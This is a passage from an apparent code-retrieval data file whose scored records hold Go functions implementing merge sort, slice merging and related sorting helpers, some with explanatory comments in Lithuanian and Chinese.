last)\n\n\tmerge.MergeSort(first)\n\tmerge.MergeSort(last)\n\n\tfmt.Println(first)\n\tfmt.Println(last)\n\n\tmerge.merge(first, last, arr)\n\n\tfmt.Println(arr)\n}", "title": "" }, { "docid": "8dcaa55ef7bbb997b2debee1f04f68fe", "score": "0.68536687", "text": "func MergeSort(src []int64) {\n\tres := mergeSort(src)\n\tfor i := range src {\n\t\tsrc[i] = res[i]\n\t}\n}", "title": "" }, { "docid": "cb95f173a86f53bce1ee3b49c58f3fc9", "score": "0.6850757", "text": "func MergeSort(src []int64) {\n\tbuffer := make([]int64, len(src))\n\tMerge_Sort(src, buffer, nil)\n}", "title": "" }, { "docid": "6cd0204131ff3fc85086b7fafdb1c8e1", "score": "0.6847085", "text": "func Merge(a *[]int, aux *[]int, lo int, hi int, mid int) {\n\tvar i, k int\n\tj := mid + 1\n\tfor i = lo; i <= hi; i++ {\n\t\t(*aux)[i] = (*a)[i]\n\t}\n\ti = lo\n\tfor k = lo; k <= hi; k++ {\n\t\tif j <= hi && i <= mid {\n\t\t\tif (*aux)[i] > (*aux)[j] {\n\t\t\t\t(*a)[k] = (*aux)[j]\n\t\t\t\tj++\n\t\t\t} else if (*aux)[i] <= (*aux)[j] {\n\t\t\t\t(*a)[k] = (*aux)[i]\n\t\t\t\ti++\n\t\t\t}\n\t\t} else if j < hi {\n\t\t\t(*a)[k] = (*aux)[j]\n\t\t\tj++\n\t\t} else if i <= mid {\n\t\t\t(*a)[k] = (*aux)[i]\n\t\t\ti++\n\t\t}\n\t}\n}", "title": "" }, { "docid": "6c3d16859002cb30115190ba0fccf09c", "score": "0.6777334", "text": "func MergeSort(s []int) []int {\n\tif len(s) <= 1 {\n\t\treturn s\n\t}\n\tn := len(s) / 2\n\tl := MergeSort(s[:n])\n\tr := MergeSort(s[n:])\n\treturn Merge(l, r)\n}", "title": "" }, { "docid": "4dcd8599421f2911b833df429b64c0f8", "score": "0.67711353", "text": "func sortAndRotateSlice(integers []int, pivot int) []int {\n\tsort.Ints(integers)\n\n\treturn append(integers[pivot:], integers[:pivot]...)\n}", "title": "" }, { "docid": "5515a85827a831f5709e2409c0aec4ac", "score": "0.6743754", "text": "func main() {\n\t//a := []int{56843,-76716,-42042,30846,50290,-27458,47259,91477,6775,59768,15476,-21788,-33386,42947,-27244,-45848,-7689,14298,-41118,-99082,-3641,-27944,-59233,25235,-44990,56287,-13288,8899,2579,-28954,27772,41360,34462,8174,53027,-22394,-91773,-42887,14202,30264,42811,-43774,-3273,11149,27266,-32695,31350,-5934,30010,-32840}\n\ta := []int{6,4,8,7,3,2,9,6,11,3,54,2,65,33,12,7,99,25}\n\tfmt.Println(MergeSort(a))\n}", "title": "" }, { "docid": "a04cbaa70718eefa6db6a265a8bb374c", "score": "0.67244875", "text": "func MergeSort(data []int) {\n\tmergeSort(data, make([]int, len(data)), 0, len(data)-1)\n}", "title": "" }, { "docid": "de683152ac76e634e718c261628a395f", "score": "0.6712556", "text": "func (p Int32Slice) Sort() { sort.Sort(p) }", "title": "" }, { "docid": "75e32ecde6601e94c6b7a4a799d0e588", "score": "0.66819423", "text": "func Mergesort(nums []int) []int {\n\tn := len(nums)\n\t// An empty slice or a slice with a single element is already sorted.\n\tif n <= 1 {\n\t\treturn nums\n\t}\n\t// Split the input slice and call Mergesort on each half.\n\tleft := Mergesort(nums[:n/2])\n\tright := Mergesort(nums[n/2:])\n\t// sorted will hold the sorted elements.\n\tsorted := make([]int, n)\n\t// i and j are indices for left and right, respectively.\n\tvar i, j int\n\t// While there are still elements left to compare...\n\tfor i < len(left) && j < len(right) {\n\t\t// If the current element of 'left' is less or equal than the current element of 'right',\n\t\tif left[i] <= right[j] {\n\t\t\t// it goes into 'sorted' first.\n\t\t\tsorted[i+j] = left[i]\n\t\t\ti++\n\t\t} else {\n\t\t\t// Else, the element from 'right' goes first.\n\t\t\tsorted[i+j] = right[j]\n\t\t\tj++\n\t\t}\n\t}\n\t// There might still be unchecked elements in 'left' or 'right', so add them to sorted.\n\tfor i < len(left) {\n\t\tsorted[i+j] = left[i]\n\t\ti++\n\t}\n\tfor j < len(right) {\n\t\tsorted[i+j] = right[j]\n\t\tj++\n\t}\n\treturn sorted\n}", "title": "" }, { "docid": "ee3ede89a635f431db33035dd8caca34", "score": "0.6640242", "text": "func mergeSort(arr []int) []int {\n\tif len(arr) <= 1 {\n\t\treturn arr\n\t}\n\t// len(arr)/2 rounds down\n\t// arr[:num] is exlusive, does not include element at index num\n\t// arr[num:] is inclusive, does include element at index num\n\tleft := arr[:len(arr)/2]\n\tright := arr[len(arr)/2:]\n\tif len(left) != 1 {\n\t\tleft = mergeSort(left)\n\t}\n\tif len(right) != 1 {\n\t\tright = mergeSort(right)\n\t}\n\treturn merge(left, right)\n}", "title": "" }, { "docid": "116d6f292edb3555aa6ef86c82bbb769", "score": "0.66211486", "text": "func mergeSort(arr []int) []int {\r\n\tif len(arr) <= 1 {\r\n\t\treturn arr\r\n\t}\r\n\r\n\t// masyvas suskaldomas i dvi dalis\r\n\tmid := len(arr) / 2\r\n\tleft := arr[:mid]\r\n\tright := arr[mid:]\r\n\r\n\t// suskaldyi masyvai rekursiskai perduodami toliau skaldyti\r\n\tleft = mergeSort(left)\r\n\tright = mergeSort(right)\r\n\r\n\t// masyvai sujungiami ir surikiuojami\r\n\treturn merge(left, right)\r\n}", "title": "" }, { "docid": "92eab31e38bdb5b078378a980bff8495", "score": "0.6617793", "text": "func MergeSort(collection []int) []int {\n\tif len(collection) <= 1 {\n\t\treturn collection\n\t}\n\n\tm := len(collection) / 2\n\tl := collection[:m]\n\tr := collection[m:]\n\n\treturn merge(MergeSort(l), MergeSort(r))\n}", "title": "" }, { "docid": "5c2afc5d420b87840835ae042123fbcc", "score": "0.660441", "text": "func MergeSortInPlace(a []int) {\n\tsize := len(a)\n\tfor i := 1; i < size; i = i * 2 {\n\t\tfor j := 0; j <= size; j = j + i*2 {\n\t\t\tmergeInPlace(a, j, ((i+j)*2-1)/2, j+(i*2)-1)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3e4bd0a5a485a742f278b378f0bc7e5c", "score": "0.6556641", "text": "func merge(in []int, p, q, r int) (result int) {\n\ttmp := make([]int, r-p+1)\n\ti, j, k := p, q+1, 0\n\tfor i <= q && j <= r {\n\t\tif in[i] <= in[j] {\n\t\t\ttmp[k] = in[i]\n\t\t\ti++\n\t\t} else {\n\t\t\tresult += q - i + 1\n\t\t\ttmp[k] = in[j]\n\t\t\tj++\n\t\t}\n\t\tk++\n\t}\n\n\tfor i <= q {\n\t\ttmp[k] = in[i]\n\t\tk++\n\t\ti++\n\t}\n\n\tfor j <= r {\n\t\ttmp[k] = in[j]\n\t\tk++\n\t\tj++\n\t}\n\n\tcopy(in[p:r+1], tmp)\n\n\treturn result\n}", "title": "" }, { "docid": "923b26ecadfceee74faad471d53f1c6d", "score": "0.65240985", "text": "func MergeSort(A []int) {\n\tif len(A) == 1 {\n\t\treturn\n\t}\n\n\tq := len(A) / 2\n\n\tMergeSort(A[:q])\n\tMergeSort(A[q:])\n\tMerge(A, q)\n}", "title": "" }, { "docid": "91165896eac618a7e81b0cd12bcbe727", "score": "0.6515403", "text": "func MergeSort(data []int, first, last int, cmp Comparator) {\n\t// Handle the case when we are sorting 0 elements or sorting only one element:\n\t// Early return.\n\tnumElems := (last - first) + 1\n\tif numElems <= 1 {\n\t\treturn\n\t}\n\tmid := (first + last) / 2\n\tMergeSort(data, first, mid, cmp)\n\tMergeSort(data, mid+1, last, cmp)\n\tmerge(data, first, mid, last, cmp)\n}", "title": "" }, { "docid": "9fa5f9aa5307a0a235c01e42233ec94b", "score": "0.6514122", "text": "func sortIt(target []int, left int, right int) {\n\tif left >= right {\n\t\treturn\n\t}\n\tmid := (left + right - 1) / 2\n\n\tsortIt(target, left, mid)\n\tsortIt(target, mid+1, right)\n\n\tmerge(target, left, mid, right)\n}", "title": "" }, { "docid": "1aa52278b6b508bd9865d0d77dce269f", "score": "0.6485214", "text": "func intsInplaceMerge(d []int, idx []int, x, y, r int, asc bool) {\n\tvar ylast int\n\n\t// (4.3) Loop until either x or y reached the maximum slice.\n\tfor x < r && y < r {\n\t\t// (4.3.1) IF DATA[x] <= DATA[y]\n\t\tif asc {\n\t\t\tif d[x] <= d[y] {\n\t\t\t\tx++\n\n\t\t\t\t// (4.3.1.2) IF x > y THEN GOTO 4.3\n\t\t\t\tif x >= y {\n\t\t\t\t\tgoto next\n\t\t\t\t}\n\n\t\t\t\t// (4.3.1.3) GOTO 4.3\n\t\t\t\tcontinue\n\t\t\t}\n\t\t} else {\n\t\t\tif d[x] >= d[y] {\n\t\t\t\tx++\n\n\t\t\t\tif x >= y {\n\t\t\t\t\tgoto next\n\t\t\t\t}\n\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// (4.3.2) LET YLAST := the next DATA[y] that is less DATA[x]\n\t\tylast = intsMoveY(d, x, y, r, asc)\n\n\t\t// (4.3.3) SWAP DATA, X, Y, YLAST\n\t\tintsMultiswap(d, idx, x, y, ylast)\n\n\tnext:\n\t\t// (4.3.4) LET Y := the minimum value between x and r on `d`\n\t\tintsMinY(d, &x, &y, r, asc)\n\t}\n}", "title": "" }, { "docid": "b0432ea8382aeb56c880794af3fa23a7", "score": "0.64844996", "text": "func MergeSortMulti(s []int) []int {\n\tif len(s) <= 1 {\n\t\treturn s\n\t}\n\n\tn := len(s) / 2\n\n\twg := sync.WaitGroup{}\n\twg.Add(2)\n\n\tvar l []int\n\tvar r []int\n\n\tgo func() {\n\t\tl = MergeSortMulti(s[:n])\n\t\twg.Done()\n\t}()\n\n\tgo func() {\n\t\tr = MergeSortMulti(s[n:])\n\t\twg.Done()\n\t}()\n\n\twg.Wait()\n\treturn Merge(l, r)\n}", "title": "" }, { "docid": "910869b8de54d5b73f8cf8b972ec837e", "score": "0.6468116", "text": "func main() {\n\tarr := []int{4, 6, 1, 12, 9, 10, 3, 2, 7, 13, 15, 8, 5, 11, 14}\n\tcopy := append([]int{}, arr...)\n\tMergeSort(&arr, &copy, 0, len(arr))\n\tfmt.Println(copy)\n}", "title": "" }, { "docid": "9d95fdb6e26c516087cbbdb1d2192333", "score": "0.6456681", "text": "func MergeSort(s []dataTypes.GraphEdge) []dataTypes.GraphEdge {\n\n\t// nearest power of 2 to len(s)\n\tvar k float64 = math.Ceil(math.Log2(float64(len(s))))\n\n\t// number of numbers to be added to the slice\n\tvar diff int = int(math.Exp2(k) - float64(len(s)))\n\n\t// looping to add the deficit\n\tfor i := 0; i < diff; i++ {\n\t\ts = append(s, dataTypes.GraphEdge{-1, -1, -1})\n\t}\n\n\t// call normal mergesort for smaller arrays\n\tif len(s) < 1024 {\n\t\tnormalMergesort(s)\n\t} else {\n\t\tparallelMergesort(s)\n\t}\n\n\treturn s[diff:]\n\t// fmt.Printf(\"%v\", s)\n}", "title": "" }, { "docid": "ca3aa567955c2e6bd95aa786d2062240", "score": "0.64513135", "text": "func MergeSort(A []int) []int {\n\tif len(A) > 1 {\n\t\tsliceL := A[:len(A)/2]\n\t\tsliceR := A[len(A)/2:]\n\n\t\tsliceL = MergeSort(sliceL)\n\t\tsliceR = MergeSort(sliceR)\n\n\t\tvar i, j, k int\n\t\tmergedSlice := make([]int, len(sliceL)+len(sliceR))\n\n\t\tfor i < len(sliceL) && j < len(sliceR) {\n\t\t\tif sliceL[i] < sliceR[j] {\n\t\t\t\tmergedSlice[k] = sliceL[i]\n\t\t\t\ti++\n\t\t\t} else {\n\t\t\t\tmergedSlice[k] = sliceR[j]\n\t\t\t\tj++\n\t\t\t}\n\t\t\tk++\n\t\t}\n\n\t\tendSlice := mergedSlice[k:]\n\n\t\tif i < len(sliceL) {\n\t\t\tcopy(endSlice, sliceL[i:])\n\t\t}\n\t\tif j < len(sliceR) {\n\t\t\tcopy(endSlice, sliceR[j:])\n\t\t}\n\t\treturn mergedSlice\n\t}\n\treturn A\n}", "title": "" }, { "docid": "9d13e5f2470eaba6326dadc241801afb", "score": "0.6449357", "text": "func MergeSort(items []int) []int {\n\tsize := len(items)\n\tif size <= 1 {\n\t\treturn items[:]\n\t}\n\tmid := size / 2\n\treturn merge(MergeSort(items[:mid]), MergeSort(items[mid:]))\n}", "title": "" }, { "docid": "85a635e62a66de77ba2925fc705d818b", "score": "0.644361", "text": "func MergeSort(list []int) []int {\n\tif len(list) <= 1 {\n\t\treturn list\n\t}\n\tmid := math.Floor(float64(len(list) / 2))\n\tleft := list[:int(mid)]\n\tright := list[int(mid):]\n\treturn merge(MergeSort(left), MergeSort(right))\n}", "title": "" }, { "docid": "2068e268832157941478c6aa854d7ab8", "score": "0.6415676", "text": "func MergeSort(outOrderSeq []int32) []int32 {\n\tif len(outOrderSeq) < 2 {\n\t\treturn outOrderSeq\n\t}\n\n\tmid := len(outOrderSeq) / 2\n\tleftSeq := MergeSort(outOrderSeq[0:mid])\n\trightSeq := MergeSort(outOrderSeq[mid:])\n\n\treturn merge(leftSeq, rightSeq)\n}", "title": "" }, { "docid": "4dcb68b3cf2f6bc39b489abe5d7c7dd9", "score": "0.64099234", "text": "func MergeSort(arr []int) []int {\n\tif len(arr) == 0 {\n\t\treturn nil\n\t}\n\n\tif len(arr) < 2 {\n\t\treturn arr\n\t}\n\tmid := len(arr) / 2\n\tleft := MergeSort(arr[:mid])\n\tright := MergeSort(arr[mid:])\n\n\treturn merge(left, right)\n}", "title": "" }, { "docid": "f50bf62c7ca9461d35ed1920cb3f35fa", "score": "0.6374656", "text": "func IntSort(a []int, lt IntLessThan) (err error) {\n\tconst minMerge = 32\n\tlo := 0\n\thi := len(a)\n\tnRemaining := hi\n\tif nRemaining < 2 {\n\t\treturn\n\t}\n\tif nRemaining < minMerge {\n\t\tinitRunLen, err := countRunAndMakeAscending(a, lo, hi, lt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn binarySort(a, lo, hi, lo+initRunLen, lt)\n\t}\n\tts := newTimSort(a, lt)\n\tminRun, err := minRunLength(nRemaining)\n\tif err != nil {\n\t\treturn\n\t}\n\tfor {\n\t\trunLen, err := countRunAndMakeAscending(a, lo, hi, lt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif runLen < minRun {\n\t\t\tforce := minRun\n\t\t\tif nRemaining <= minRun {\n\t\t\t\tforce = nRemaining\n\t\t\t}\n\t\t\tif err = binarySort(a, lo, lo+force, lo+runLen, lt); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\trunLen = force\n\t\t}\n\t\tts.pushRun(lo, runLen)\n\t\tif err = ts.mergeCollapse(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tlo += runLen\n\t\tnRemaining -= runLen\n\t\tif nRemaining == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\tif lo != hi {\n\t\treturn errors.New(\"lo must equal hi\")\n\t}\n\tif err = ts.mergeForceCollapse(); err != nil {\n\t\treturn\n\t}\n\tif ts.stackSize != 1 {\n\t\treturn errors.New(\"ts.stackSize != 1\")\n\t}\n\treturn\n}", "title": "" }, { "docid": "64052acfe32380e1980914f381649304", "score": "0.63341117", "text": "func TestBoundaryMergeSort(t *testing.T) {\n\tzero := []int{}\n\tone := []int{3}\n\ttwo := []int{3, 2}\n\ttwo_s := []int{2, 3}\n\tthree := []int{2, 1, 3}\n\tarrs := [][]int{zero, one, two, two_s, three}\n\tfor i := range arrs {\n\t\tMergeSort(sort.IntSlice(arrs[i]))\n\t\tfmt.Println(arrs[i])\n\t}\n}", "title": "" }, { "docid": "4bc4774ccebb5467db8b97bec222603d", "score": "0.63196576", "text": "func merge(sortedSplit [][]int) []int {\n\n\tif len(sortedSplit) == 1 {\n\t\treturn sortedSplit[0]\n\t}\n\n\tchunkSize := len(sortedSplit) / 2\n\n\tif chunkSize < 2 {\n\t\tchunkSize = 2\n\t}\n\n\toutput := [][]int{}\n\n\tfor i := 0; i < len(sortedSplit); i += 2 {\n\n\t\tif i+1 >= len(sortedSplit) {\n\t\t\toutput = append(output, sortedSplit[i])\n\t\t\tcontinue\n\t\t}\n\n\t\tchunk := make([][]int, 2)\n\n\t\tchunk[0] = sortedSplit[i]\n\t\tchunk[1] = sortedSplit[i+1]\n\n\t\toutput = append(output, mergeArrs(chunk[0], chunk[1]))\n\t}\n\n\treturn merge(output)\n}", "title": "" }, { "docid": "4275569db2322e6a540c3a109298643e", "score": "0.6316127", "text": "func Merge(left, right []int) []int {\n\tsize, i, j := len(left)+len(right), 0, 0\n\tslice := make([]int, size, size)\n\n\tfor k := 0; k < size; k++ {\n\t\tlLeft, lRight := len(left)-1, len(right)-1\n\t\tif i > lLeft && j <= lRight {\n\t\t\tslice[k] = right[j]\n\t\t\tj++\n\t\t} else if j > lRight && i <= lLeft {\n\t\t\tslice[k] = left[i]\n\t\t\ti++\n\t\t} else if left[i] < right[j] {\n\t\t\tslice[k] = left[i]\n\t\t\ti++\n\t\t} else {\n\t\t\tslice[k] = right[j]\n\t\t\tj++\n\t\t}\n\t}\n\treturn slice\n}", "title": "" }, { "docid": "bf0c6bedf4d2e6982a4823ccbfeafb3d", "score": "0.63062084", "text": "func SwapInIntSlice(a []int, i int, j int) []int {\n\tv1 := a[i]\n\tv2 := a[j]\n\n\ta = append(a[:i], append([]int{v2}, a[i+1:]...)...)\n\ta = append(a[:j], append([]int{v1}, a[j+1:]...)...)\n\n\treturn a\n}", "title": "" }, { "docid": "984af6102f671d51061dbcee4d2e4dd1", "score": "0.6297299", "text": "func Merge(l, r []int) []int {\n\tret := make([]int, 0, len(l)+len(r))\n\tfor len(l) > 0 || len(r) > 0 {\n\t\tif len(l) == 0 {\n\t\t\treturn append(ret, r...) //append retrieves element of a slice\n\t\t}\n\t\tif len(r) == 0 {\n\t\t\treturn append(ret, l...) //append retrieves element of a slice\n\t\t}\n\t\tif l[0] <= r[0] {\n\t\t\tret = append(ret, l[0]) //append retrieves element of a slice\n\t\t\tl = l[1:]\n\t\t} else {\n\t\t\tret = append(ret, r[0]) //append retrieves element of a slice\n\t\t\tr = r[1:]\n\t\t}\n\t}\n\treturn ret\n}", "title": "" }, { "docid": "97682ad2d586033259f0615d2904e7e0", "score": "0.62956965", "text": "func merge(data []int, first, mid, last int, cmp Comparator) {\n\tif (last - first) <= 0 {\n\t\treturn\n\t}\n\n\tf1 := first // Index of first element in first sublist\n\te1 := mid // Index of last element in first sublist\n\tf2 := mid + 1 // Index of first element in second sublist\n\n\tfor {\n\t\t// Exit if any of the sublists are empty\n\t\tif ((e1 - f1) < 0) || ((last - f2) < 0) {\n\t\t\treturn\n\t\t}\n\n\t\t// Compare elements @f1, f2\n\t\tc := cmp(data[f1], data[f2])\n\t\tswitch {\n\t\tcase c < 0:\n\t\t\t// element @f1 is smaller than that @f2, we take element @f1 directly\n\t\t\t// account for shrunken size of first sublist\n\t\t\tf1++\n\t\tcase c == 0:\n\t\t\t// element @f1 equal to element @f2\n\t\t\t// save element @f2\n\t\t\tt := data[f2]\n\t\t\t// shift data from [f1 + 1, e1] forward by one index to overwrite element @f2\n\t\t\t// destination is [f1 + 2, e1 + 1]\n\t\t\t// remember slices are exclusive.\n\t\t\tcopy(data[f1+2:e1+2], data[f1+1:e1+1])\n\t\t\t// store element @f2\n\t\t\tdata[f1+1] = t\n\t\t\t// do accounting - account for the\n\t\t\t// shrunken size of both the second sublist and the first sublist\n\t\t\tf1 += 2\n\t\t\te1++\n\t\t\tf2++\n\t\tcase c > 0:\n\t\t\t// element @f1 > element @ f2\n\t\t\t// save element @f2\n\t\t\tt := data[f2]\n\t\t\t// shift data from [f1, e1] forward by one index to overwrite element @f2\n\t\t\t// destination is [f1 + 2, e1 + 1]\n\t\t\t// remember slices are exclusive.\n\t\t\tcopy(data[f1+1:e1+2], data[f1:e1+1])\n\t\t\t// store element @f2\n\t\t\tdata[f1] = t\n\t\t\t// do accounting - account for the\n\t\t\t// shrunken size of second sublist and the first sublist moving by one to the right (higher indexes)\n\t\t\tf1++\n\t\t\te1++\n\t\t\tf2++\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3c584e2ecd77e0a1cf1accf28f9df306", "score": "0.6294414", "text": "func Merge(left, right []int) []int {\n\n\tsize, i, j := len(left)+len(right), 0, 0\n\tslice := make([]int, size, size)\n\n\tfor k := 0; k < size; k++ {\n\t\tif i > len(left)-1 && j <= len(right)-1 {\n\t\t\tslice[k] = right[j]\n\t\t\tj++\n\t\t} else if j > len(right)-1 && i <= len(left)-1 {\n\t\t\tslice[k] = left[i]\n\t\t\ti++\n\t\t} else if left[i] < right[j] {\n\t\t\tslice[k] = left[i]\n\t\t\ti++\n\t\t} else {\n\t\t\tslice[k] = right[j]\n\t\t\tj++\n\t\t}\n\t}\n\treturn slice\n}", "title": "" }, { "docid": "9db2fb8903371ed59c33b82947c09945", "score": "0.62909466", "text": "func (s IntSlice) Swap(i, j int) { s[i], s[j] = s[j], s[i] }", "title": "" }, { "docid": "b029c93da620b8bd7b390ff7d03a23c8", "score": "0.62890345", "text": "func merge(nums1 []int, m int, nums2 []int, n int) {\n\t// 20200818\n\t// 1、合并再排序\n\t// O((n+m)log(n+m))/O(1)\n\t// 执行耗时:0 ms,击败了100.00% 的Go用户\n\t// 内存消耗:2.3 MB,击败了25.33% 的Go用户\n\t/*nums1 = append(nums1[:m], nums2...)\n\tsort.Ints(nums1)*/\n\t// 2、双指针:从前往后\n\t// 执行耗时:0 ms,击败了100.00% 的Go用户\n\t// 内存消耗:2.6 MB,击败了5.00% 的Go用户\n\t/*var stack []int\n\n\tp1, p2 := 0,0\n\tfor p1 < m && p2 < n {\n\t\tif nums1[p1] < nums2[p2] {\n\t\t\tstack = append(stack, nums1[p1])\n\t\t\tp1 ++\n\t\t} else {\n\t\t\tstack = append(stack, nums2[p2])\n\t\t\tp2 ++\n\t\t}\n\t}\n\tif p1 < m {\n\t\tstack = append(stack, nums1[p1:m]...)\n\t}\n\tif p2 < n {\n\t\tstack = append(stack, nums2[p2:n]...)\n\t}\n\tfor k, v := range stack {\n\t\tnums1[k] = v\n\t}\n\tfmt.Println(nums1)*/\n\t// 3、双指针,从后往前\n\t// 执行耗时:0 ms,击败了100.00% 的Go用户\n\t// 内存消耗:2.3 MB,击败了67.67% 的Go用户\n\tfor m > 0 && n > 0 {\n\t\tif nums1[m-1] > nums2[n-1] {\n\t\t\tnums1[m+n-1] = nums1[m-1]\n\t\t\tm--\n\t\t} else {\n\t\t\tnums1[m+n-1] = nums2[n-1]\n\t\t\tn--\n\t\t}\n\t}\n\tif m == 0 {\n\t\tfor i := 0; i < n; i++ {\n\t\t\tnums1[i] = nums2[i]\n\t\t}\n\t\t// 这么干不行,传出去的值不对\n\t\t//nums1 = append(nums2[:n], nums1[n:]...)\n\t\t//fmt.Println(nums1)\n\t}\n}", "title": "" }, { "docid": "874934fee9a8bf29b4a2a64416f2d382", "score": "0.62784153", "text": "func merge(left, right []int) ([]int, int) {\n\ti := 0\n\tj := 0\n\tvar sort []int\n\tvar count int\n\tfor i < len(left) && j < len(right) {\n\t\tif left[i] <= right[j] {\n\t\t\tsort = append(sort, left[i])\n\t\t\ti++\n\t\t\tcontinue\n\t\t} else {\n\t\t\tsort = append(sort, right[j])\n\t\t\tj++\n\t\t\tcount = count + (len(left) - i)\n\t\t}\n\t}\n\tsort = append(sort, right[j:]...)\n\tsort = append(sort, left[i:]...)\n\treturn sort, count\n}", "title": "" }, { "docid": "9aabd23ae2ef94a52e7ffee320517b18", "score": "0.6272387", "text": "func deriveSortedSliceIntAlias(list []intAlias) []intAlias {\n\tsort.Slice(list, func(i, j int) bool { return list[i] < list[j] })\n\treturn list\n}", "title": "" }, { "docid": "491dbe5a054b614d48eeec297e55862a", "score": "0.62672687", "text": "func SortMerge(items []int) {\n\tlength := len(items)\n\tif length == 1 {\n\t\treturn\n\t}\n\n\tvar lLeft = length / 2\n\tvar left = make([]int, lLeft)\n\tcopy(left, items[:lLeft])\n\tvar lRight = length - lLeft\n\tvar right = make([]int, lRight)\n\tcopy(right, items[lLeft:])\n\n\tSortMerge(left)\n\tSortMerge(right)\n\n\tmerge(left, right, items)\n}", "title": "" }, { "docid": "17e9f1ca28b078297f1f7452e692ea1a", "score": "0.62179506", "text": "func merge(l, r []int) []int {\n\tret := make([]int, 0, len(l)+len(r))\n\n\tfor {\n\t\tswitch {\n\t\tcase len(l) == 0:\n\t\t\treturn append(ret, r...)\n\n\t\tcase len(r) == 0:\n\t\t\treturn append(ret, l...)\n\n\t\tcase l[0] <= r[0]:\n\t\t\tret = append(ret, l[0])\n\t\t\tl = l[1:]\n\n\t\tdefault:\n\t\t\tret = append(ret, r[0])\n\t\t\tr = r[1:]\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5784f591583692f137ccbf318962b4e4", "score": "0.6197571", "text": "func merge(nums1 []int, m int, nums2 []int, n int) {\n\tlens := m + n\n\tfor i, y := m, 0; i < lens && y < n; i++ {\n\t\tnums1[i] = nums2[y]\n\t\ty++\n\t}\n\tsort.Ints(nums1)\n\n}", "title": "" }, { "docid": "b5907f65ea2dbbf5934551cfd1e50ffd", "score": "0.61791813", "text": "func orderSlice(intSlice []int, intLength int) []int {\n\tvar intTmp int\n\n\tfor i := 0; i < intLength-1; i++ {\n\t\tfor j := 0; j < intLength-i-1; j++ {\n\t\t\tif intSlice[j] > intSlice[j+1] {\n\t\t\t\tintTmp = intSlice[j]\n\t\t\t\tintSlice[j] = intSlice[j+1]\n\t\t\t\tintSlice[j+1] = intTmp\n\t\t\t}\n\t\t}\n\t}\n\treturn intSlice\n}", "title": "" }, { "docid": "8861eba9442eb2c60a1f47f5b0fd060a", "score": "0.61726165", "text": "func IntUnion(lt IntLessThan, sorted ...[]int) []int {\n\tlength := 0\n\tsourceSlices := make([][]int, 0, len(sorted))\n\tfor _, src := range sorted {\n\t\tif len(src) > 0 {\n\t\t\tlength += len(src)\n\t\t\tsourceSlices = append(sourceSlices, src)\n\t\t}\n\t}\n\tif length == 0 {\n\t\treturn nil\n\t} else if len(sourceSlices) == 1 {\n\t\treturn sourceSlices[0]\n\t}\n\tresult := make([]int, length)\n\tsourceSliceCount := len(sourceSlices)\n\tindexes := make([]int, sourceSliceCount)\n\tindex := 0\n\tfor {\n\t\tminSlice := 0\n\t\tminItem := sourceSlices[0][indexes[0]]\n\t\tfor i := 1; i < sourceSliceCount; i++ {\n\t\t\tif lt(sourceSlices[i][indexes[i]], minItem) {\n\t\t\t\tminSlice = i\n\t\t\t\tminItem = sourceSlices[i][indexes[i]]\n\t\t\t}\n\t\t}\n\t\tresult[index] = minItem\n\t\tindex++\n\t\tindexes[minSlice]++\n\t\tif indexes[minSlice] == len(sourceSlices[minSlice]) {\n\t\t\tsourceSlices = append(sourceSlices[:minSlice], sourceSlices[minSlice+1:]...)\n\t\t\tindexes = append(indexes[:minSlice], indexes[minSlice+1:]...)\n\t\t\tsourceSliceCount--\n\t\t\tif len(sourceSlices) == 1 {\n\t\t\t\tcopy(result[index:], sourceSlices[0][indexes[0]:])\n\t\t\t\treturn result\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "32483510243478a94adbf763724d3106", "score": "0.61705434", "text": "func MergeSort(slice []Customer) []Customer {\n\tif len(slice) < 2 {\n\t\treturn slice\n\t}\n\tmid := (len(slice)) / 2\n\treturn Merge(MergeSort(slice[:mid]), MergeSort(slice[mid:]))\n}", "title": "" }, { "docid": "a8aba256ec61a271d9ef9b375e4a4785", "score": "0.6164016", "text": "func merge(intervals [][]int) [][]int {\n\tsort.Sort(intSorter(intervals))\n\n\tresults := make([][]int, 0, len(intervals)) // results := [][]int{}\n\n\tleft, right := intervals[0][0], intervals[0][1]\n\tfor _, interval := range intervals[1:] {\n\t\tif interval[0] > right {\n\t\t\tresults = append(results, []int{left, right})\n\t\t\tleft, right = interval[0], interval[1]\n\t\t\tcontinue\n\t\t}\n\t\tif interval[1] > right {\n\t\t\tright = interval[1]\n\t\t}\n\t}\n\tresults = append(results, []int{left, right})\n\n\treturn results\n}", "title": "" }, { "docid": "cdd45af41722e174f03672dd3e663c8f", "score": "0.61463624", "text": "func merge(a, b []int) []int {\n\n\tif len(a) == 0 {\n\t\treturn b\n\t}\n\n\tif len(b) == 0 {\n\t\treturn a\n\t}\n\n\tpa := 0\n\tpb := 0\n\tc := make([]int, len(a)+len(b))\n\n\tfor pc := 0; pa+pb < len(c); pc = pa + pb {\n\n\t\tif pa == len(a) {\n\t\t\tc[pc] = b[pb]\n\t\t\tpb++\n\t\t\tcontinue\n\t\t}\n\n\t\tif pb == len(b) {\n\t\t\tc[pc] = a[pa]\n\t\t\tpa++\n\t\t\tcontinue\n\t\t}\n\n\t\tif a[pa] < b[pb] {\n\t\t\tc[pc] = a[pa]\n\t\t\tpa++\n\t\t} else {\n\t\t\tc[pc] = b[pb]\n\t\t\tpb++\n\t\t}\n\t}\n\n\treturn c\n}", "title": "" }, { "docid": "87a32b3ba6efee9232ae5d31c2a73686", "score": "0.61420614", "text": "func (vss *VenueSortSlice) merge(a VenueSortSlice, mid int, c func(a *Venue, b *Venue) bool) {\r\n\r\n\tvar s = (make(VenueSortSlice, len(a)/2+1)) // temp slice for merge step\r\n\tcopy(s, a[:mid])\r\n\tl, r := 0, mid\r\n\tfor i := 0; ; i++ {\r\n\r\n\t\t// if s[l].age <= a[r].age { // use age\r\n\t\t// if s[l].lastName <= a[r].lastName { // use last name\r\n\t\t// if (*s[l]).target.venue > (*a[r]).target.venue {\r\n\t\tcompared := c((s[l]), (a[r]))\r\n\t\tif compared {\r\n\t\t\ta[i] = s[l]\r\n\t\t\tl++\r\n\t\t\tif l == mid 